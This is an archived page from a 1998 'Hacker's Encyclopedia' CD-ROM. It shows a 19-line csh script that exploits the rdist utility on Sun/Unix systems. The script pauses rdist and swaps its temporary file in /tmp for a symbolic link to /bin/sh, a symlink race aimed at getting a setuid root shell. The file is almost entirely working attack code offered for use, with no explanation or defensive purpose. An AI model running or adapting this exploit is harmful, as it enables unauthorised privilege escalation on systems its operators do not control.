home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / sun_r001.txt < prev    next >
Encoding:
Text File  |  2003-06-11  |  278 b   |  19 lines

  1. #!/bin/csh
  2. cat << _EOF_ > distfile
  3. testfile -> localhost
  4.         install /tmp/werdfile;
  5. _EOF_
  6. cp /vmunix testfile
  7. chmod 4755 testfile
  8. rdist &
  9. PID=$!
  10. kill -STOP ${PID}
  11. (
  12.   cd /tmp
  13.   ls rdist* > rd1
  14.   rm `cat rd1`
  15.   ln -s /bin/sh `cat rd1`
  16.   rm -f rd1
  17. )
  18. %rdist
  19.